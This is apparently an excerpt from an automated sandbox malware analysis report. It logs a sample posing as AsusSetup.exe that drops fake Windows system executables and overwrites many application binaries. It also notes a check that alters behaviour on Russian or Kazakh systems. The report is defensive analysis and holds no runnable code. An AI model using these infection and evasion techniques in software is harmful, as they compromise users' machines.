Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file

Source: C:\Users\user\Desktop\AsusSetup.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Users\user\Desktop\AsusSetup.exe	Code function: 0_2_01FD5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	0_2_01FD5346
Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_00BE5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	7_2_00BE5346
